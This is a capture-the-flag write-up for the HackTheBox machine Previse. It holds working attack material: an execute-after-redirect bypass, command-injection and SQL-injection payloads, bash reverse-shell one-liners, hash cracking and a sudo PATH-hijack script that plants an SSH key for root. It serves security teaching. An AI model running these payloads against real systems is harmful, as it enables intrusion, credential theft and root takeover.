To get a foothold on Previse, first I’ll exploit an execute after redirect vulnerability in the webpage that allows me access to restricted sites despite not being logged in. From those sites, I’ll create a user for myself and log in normally. Then I get the source to the site, and I’ll find a command injection vulnerability (both using the source and just by enumerating the site) to get a foothold on the box. To escalate, I’ll go into the database and dump the user hashes, one of which cracks to the password for a user on the box. For root, there’s a bash script with a path hijack vulnerability that can run with sudo, allowing for execution. In Beyond Root I’ll look at the standard sudo config and what was changed for Previse, and then look at an unintended SQL injection in an insert statement.

Box Info

Name Previse Previse
Release Date 07 Aug 2021
Retire Date 08 Jan 2022
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Previse
Radar Graph Radar chart for Previse
First Blood User 23 mins, 06 seconds onurshin
First Blood Root 26 mins, 10 seconds zime



nmap found two open TCP ports, SSH (22) and HTTP (80):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-08-16 07:49 EDT
Nmap scan report for
Host is up (0.064s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 104.76 seconds
oxdf@parrot$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-08-16 07:53 EDT
Nmap scan report for
Host is up (0.019s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 18.04 Bionic.

Website - TCP 80


The site is a file storage site:


The footer gives a potential username. Some basic password guessing didn’t work, and I wasn’t able to get any different in error message between bad user and bad password:


The page extensions show that the site is running PHP, and I did some feroxbuster, but I didn’t need it.

EAR Vuln

Visiting the root / returns a HTTP 302 redirect to /login.php. However, there’s also a full page in that response:

HTTP/1.1 302 Found
Date: Mon, 16 Aug 2021 11:58:44 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ee9qjj6lpu5v393dq8lu7hf8hf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 2801
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="description" content="Previse rocks your socks." />
        <meta name="author" content="m4lwhere" />
        <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="icon" href="/favicon.ico" type="image/x-icon" />
        <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
        <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
        <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
        <link rel="manifest" href="/site.webmanifest">
        <link rel="stylesheet" href="css/uikit.min.css" />

This is an execution after redirect (EAR) vulnerability. The PHP code is likely checking for a session, and if there is none, sending the redirect. This is the example from the OWASP page:

<?php if (!$loggedin) {
     print "<script>window.location = '/login';</script>\n\n"; 
} ?>

This PHP code should have an exit; after that print. Otherwise, it sends the code that performs the redirect, but also prints the rest of the page.

Skipping Redirects

By default, Burp intercept only stops requests, not responses. To see the root page, I’ll turn on Server Response Interception in Burp Proxy, and then turn Intercept On:


In Firefox, I’ll try to go to again, forwarding the request without changes, and Burp catches the response:


I’ll change “302 Found” to “200 OK”, and the page comes back:


This page isn’t too useful, but it’s there. The are links across the top that go to four more pages:

  • Accounts (/accounts.php)
  • Files (/files.php)
  • Management Menu –> Website Status (/status.php)
  • Management Menu –> Log Data (file_logs.php)

To make this easier, I’ll put a rule in place to make this change always, keeping in mind that if I get a blank page, I should see if it was supposed to be a redirect:


status.php isn’t too interestingm other than that it identifies the back up database is MySQL:


While I can load both files.php and file_logs.php, they each contain functionality that return proper 302s, so I can’t access them without logging in. I’ll come back to these.

accounts.php has a message that only admins should be here, which is obviously not the case:


I’ll fill in the form and submit, and it works:


Now I can turn off the Burp rule and just log in.


The files page contains a single file called SITEBACKUP.ZIP:


I was able to view this page using the proxy 302 replace, but not download the zip. Logged in, I can download it. Unsurprisingly, it contains all the source for the site:

oxdf@parrot$ ls
accounts.php  config.php  download.php  file_logs.php  files.php  footer.php  header.php  index.php  login.php  logout.php  logs.php  nav.php  status.php

Log Data

The other page is file_logs.php:


Clicking submit downloads a CSV of file data:


If I change the delimiter to “space”, I get the same logs but space delimited, as expected:


Shell as www-data

Identify Command Injection

I got access to the source code for the site, but this command injection can also be identified without it. I’ll show how I would approach it both ways.

Without Source

The first thing I want to look at it the request when I request logs:

POST /logs.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
DNT: 1
Connection: close
Cookie: PHPSESSID=ee9qjj6lpu5v393dq8lu7hf8hf
Upgrade-Insecure-Requests: 1


The other options submit space and tab. What happens when I submit something not in the list? I’ll send this to Burp Repeater and change it to 0xdf. The response is the same as comma:


I don’t recognize that log format, but the fact that the page is returning it with different delimiters means that likely some text pattern matching and rearranging is going on. While this can be done naturally in PHP, it’s not that easy, compared to Bash. It is possible that the programmer is reading the file and making the manipulations in PHP, but it’s also possible the author is using system or shell_exec to call something outside PHP.

I’ll try using a ; to add a command to the parameter:

delim=comma;ping -c 1 #

I’ll open tcpdump and then send this with Burp, and ICMP comes back:

oxdf@parrot$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:02:14.962560 IP > ICMP echo request, id 2377, seq 1, length 64
17:02:14.962593 IP > ICMP echo reply, id 2377, seq 1, length 64

That’s command injection.

With Source

With the source code, I’ll start with a grep that will identify many of the dangerous PHP functions:

oxdf@parrot$ grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *
download.php:        flush(); // Flush system headers
logs.php:$output = exec("/usr/bin/python /opt/scripts/ {$_POST['delim']}");
logs.php:    flush(); // Flush system headers

The first and last ones are comments, but the middle on in logs.php is interesting. That file:

if (!isset($_SESSION['user'])) {
    header('Location: login.php');

    header('Location: login.php');

//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//

$output = exec("/usr/bin/python /opt/scripts/ {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
} else {

The developer even left a comment about using Python because it was easier.

The output is echoed, but then later it ob_clean() to get rid of that so it doesn’t come back in the response.

There is no sanitization of the user input before it’s put into the call to exec, which means that I can add all sorts of injections to get execution, like ; [command] and $([command]).


To turn this RCE into a shell, I’ll simple add a reverse shell to the request with nc listening:

delim=comma;bash -c 'bash -i >%26 /dev/tcp/ 0>%261' #

On sending, it just hangs, but at nc:

oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 53808
bash: cannot set terminal process group (1389): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I’ll upgrade my shell using script (a nice alternative for python PTY module):

www-data@previse:/var/www/html$ script /dev/null -c bash
Script started, file is /dev/null
www-data@previse:/var/www/html$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@parrot$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Now I have up arrow for history and tab completion, and Ctrl-C won’t kill the shell.

Shell as m4lwhere



There’s only one homedir, and it does have user.txt:

www-data@previse:/home/m4lwhere$ ls -la 
total 52
drwxr-xr-x 5 m4lwhere m4lwhere 4096 Jun 18 01:18 .
drwxr-xr-x 3 root     root     4096 May 25 14:59 ..
lrwxrwxrwx 1 root     root        9 Jun  6 13:04 .bash_history -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 m4lwhere m4lwhere 3771 Apr  4  2018 .bashrc
drwx------ 2 m4lwhere m4lwhere 4096 May 25 15:25 .cache
drwxr-x--- 3 m4lwhere m4lwhere 4096 Jun 12 10:09 .config
drwx------ 4 m4lwhere m4lwhere 4096 Jun 12 10:10 .gnupg
-rw-r--r-- 1 m4lwhere m4lwhere  807 Apr  4  2018 .profile
-rw-r--r-- 1 m4lwhere m4lwhere   75 May 31 19:19 .selected_editor
-rw------- 1 m4lwhere m4lwhere 7425 Jun 18 01:18 .viminfo
-rw-r--r-- 1 m4lwhere m4lwhere   75 Jun 18 01:18 .vimrc
-r-------- 1 m4lwhere m4lwhere   33 May 31 19:33 user.txt

I can’t read it yet, or anything else of use in here.


The status page did mention MySQL. I’ll check out the web directory. There’s a config.php:


function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;


That password doesn’t work for any users on the box.

I’ll connect to the DB with mysql:

www-data@previse:/var/www/html$ mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 28
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


There are five databases, but only one that’s really interesting:

mysql> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
5 rows in set (0.00 sec)

It has two tables:

mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
| Tables_in_previse |
| accounts          |
| files             |
2 rows in set (0.00 sec)

files looks to hold the actual files, as that’s what a blob type is typically used for:

mysql> describe files;
| Field       | Type         | Null | Key | Default           | Extra          |
| id          | int(11)      | NO   | PRI | NULL              | auto_increment |
| name        | varchar(255) | NO   |     | NULL              |                |
| size        | int(11)      | NO   |     | NULL              |                |
| user        | varchar(255) | YES  |     | NULL              |                |
| data        | blob         | YES  |     | NULL              |                |
| upload_time | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
| protected   | tinyint(1)   | YES  |     | 0                 |                |
7 rows in set (0.00 sec)

I don’t want to do a select * from files as it will crash my session because the data is large. The only file is the one I already downloaded:

mysql> select name,size,user,protected from files;
| name           | size | user   | protected |
| | 9948 | newguy |         1 |
1 row in set (0.00 sec)

accounts stores a name, password, and create time:

mysql> describe accounts;
| Field      | Type         | Null | Key | Default           | Extra          |
| id         | int(11)      | NO   | PRI | NULL              | auto_increment |
| username   | varchar(50)  | NO   | UNI | NULL              |                |
| password   | varchar(255) | NO   |     | NULL              |                |
| created_at | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
4 rows in set (0.00 sec)

There is one user that isn’t me:

mysql> select * from accounts;
| id | username | password                           | created_at          |
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | 0xdff    | $1$🧂llol$H.PGkFFp/y7qUAVKR4VKK1 | 2021-07-16 20:04:52 |
2 rows in set (0.00 sec)

The hash seems to be using an emoji character as part of the salt. This is a little silly, but nothing I can’t try to break.

Crack Hash

I’ll put the hash into a file and feed it to Hashcat. Based on the example hashes page, it looks like md5-crypt, or mode 500:

oxdf@parrot$ hashcat -m 500 m4lwhere.hash /usr/share/wordlists/rockyou.txt


That password works over SSH as m4lwhere:

oxdf@parrot$ sshpass -p 'ilovecody112235!' ssh m4lwhere@

And I can grab user.txt:

m4lwhere@previse:~$ cat user.txt

Shell as root


m4lwhere can run sudo on a script,

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/

There’s an important line missing from that output where sudo has been misconfigured to allow the next exploit. I’ll dig into that in Beyond Root.

The script is backing up logs to /var/backups:


# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

The comment says they knows they shouldn’t be running this as root, but that they need to fix the permissions later. That’s a directory that is owned by and writable by root, which is why m4lwhere needs sudo to run it:

m4lwhere@previse:~$ ls -ld /var/backups/
drwxr-xr-x 2 root root 4096 Aug 16 07:42 /var/backups/

Path Injection

The vulnerability in this script is that gzip is called without a complete path. In /dev/shm, I’ll create a simple script called gzip. There are many things I could do, including just calling bash, though I had some issues getting that to work. I’ll have it write my public key into root’s authorized_keys file and spawn a reverse shell:


# enable root ssh
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /root/.ssh/authorized_keys

# rev shell
bash -i >& /dev/tcp/ 0>&1

Now I’ll set my path to start with /dev/shm:

m4lwhere@previse:/dev/shm$ export PATH=/dev/shm:$PATH
m4lwhere@previse:/dev/shm$ echo $PATH

Now when the script goes to call gzip, the first one it will find is mine and run it. I’ll start nc and run:

m4lwhere@previse:/dev/shm$ sudo /opt/scripts/

It hangs, but at nc:

oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 53814
root@previse:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)

Also, I’m authorized to connect as root over SSH:

oxdf@parrot$ ssh -i ~/keys/ed25519_gen root@

Either way, I can grab root.txt:

root@previse:~# cat root.txt

Beyond Root

sudo Default Configs

When I run sudo -l on my hacking VM:

oxdf@parrot$ sudo -l
Matching Defaults entries for oxdf on hacky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oxdf may run the following commands on hacky:

Or on my desktop:

oxdf@jawad:~$ sudo -l
[sudo] password for oxdf: 
Matching Defaults entries for oxdf on jawad:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oxdf may run the following commands on jawad:
    (ALL : ALL) ALL

These are different from what I see on Previse not only because of what they can run, but also because of the default entries:

m4lwhere@previse:/dev/shm$ sudo -l
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/

env_reset, mail_badpass, and secure_path are all defined by default in the /etc/sudoers file. For example, from my VM:

# This file MUST be edited with the 'visudo' command as root.
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
# See the man page for details on how to write a sudoers file.
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

These three options are defined in the man page for sudoers:

  • env_reset: This limits the environment variables that are carried into the new process to a few key ones, and defaults to true.
  • mail_badpass: tell sudo to send an email on failed sudo attempts; the man pages say this is off by default, but the default config seems to enable it.
  • secure_path: This sets the path for commands run with sudo, preventing the kind of attack that I used above. This is disabled by default, but it in the default config on all distributions I’m aware of.

As root, I can look at the /etc/sudoers file on Previse:

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
# Allow manual backups of access logs as needed
m4lwhere ALL=(root) /opt/scripts/

It has removed these defaults.

Unintended SQL Injection

George Koniaris pointed out this SQL injection in the INSERT statement in files.php. This video walks through how to find and exploit it:

The vulnerable code is:

$sql = "INSERT INTO files(name, size, data, user) VALUES('{$fileName}', '{$fileSize}', '{$fileData}', '{$_SESSION['user']}')";
$db = connectDB();
$result = $db->query($sql);

Where I can control filename. My final payload puts the SQL injection into the filename attribute:

POST /files.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------81606610532534972821053179055
Content-Length: 335
Connection: close
Cookie: PHPSESSID=mdecrekdk0rlrjcs724posb8oh
Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name="userData"; filename="accounts', '0', '', (SELECT group_concat(concat(username,':',password) SEPARATOR '<br>') from accounts));-- -"
Content-Type: text/plain


That builds the SQL string to:

INSERT INTO files(name, size, data, user) VALUES('accounts', '0', '', (SELECT group_concat(concat(username,':',password) SEPARATOR '<br>') from accounts));-- -', '4', 'test', 'oxdff')

This results in the following on the webpage when I refresh, leaking the username and password of each user in the database: